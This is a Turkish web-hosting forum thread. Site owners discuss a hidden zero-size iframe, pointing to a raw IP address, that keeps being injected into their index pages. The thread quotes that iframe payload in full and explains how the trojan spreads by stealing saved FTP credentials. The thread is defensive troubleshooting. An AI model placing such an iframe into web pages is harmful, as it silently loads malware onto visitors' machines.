[volkandesign]

<iframe src='http://81.95.149.27/go.php?sid=1' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCOLLING=no></iframe>

sitelere böyle bir iframe veriyor

bunu ben siliyorum ama gene geri gelyior çekilmiş bir resminnide göstereyim hocam.

www.volkandesign.com/virus.jpg

bunun sorunu ne olabilir?

[CaLViN]

son günlerde ortaya çıkan bir sorun bu .

makinenizi clamav ve rkhunter ile taratınız.mümkünse bilgisayarınızı da antivirüsler aracılığıyla detaylı bir taramaya alınız.

[volkandesign]

yahu bundna hala kurtulamadim dostum tüm sitelerde çıkıyor

[sinangunay]

clamAV kurup tarama yaptınız mı??

[volkandesign]

clamav nereeden kurabilirim?

[sinangunay]

forumda aratın o sizi bulur

[volkandesign]

Arkadaslar Bu Cpanel 11in açiği olabilirmi acaba?

[CaLViN]

volkandesign´isimli üyeden Alıntı

Arkadaslar Bu Cpanel 11in açiği olabilirmi acaba?

tabiki hayır.

[KRaLeFe]

Arkadaşlar clamav la rkhunter ı kurdum clamavla bisey gozukmuyor rkhunter 2 kırmızı yaktı biri port bunlari nasil düzeltebilirm :S bu virus tüm sisteme bulasiyor :S

[kayzer]

slm arkadaşlar,

bu güzel düşünülmüş ve hazırlanmış trojenin çalışma şeklini anlatmak isterim öncelikle,

trojen bu trojeni barındıran daha önce girmiş olduğunuz bir siteden sizin bilgisayarınıza giriş yapmaktadır, ardından ftp kullanılıyorsa bu bilgisayarda bu ftp kullanılarak daha önce bağlanılmmış sitelere bağlanıyor ve index.html , index.php olan tüm dosyaların altına <iframe vs vs tarzında kendi kodlarını ekliyor,

trojen bulaşan siteyi ziyaret edenler de aynı trojeni makinelerine indiriyor ve aynı süreç devam ediyor,

trojenden kurtulmak ve engellemek için yapılması gereken ip adresinin banlanmasıdır, ancak hatırladığım kadarı ile bu ip den göndermiyor bağlanılmıyor server a ftp ile , bir alt veya bir üst numarası olması gerek bunlarıda banlarsanız sorun çözülmüş olacaktır,

syg.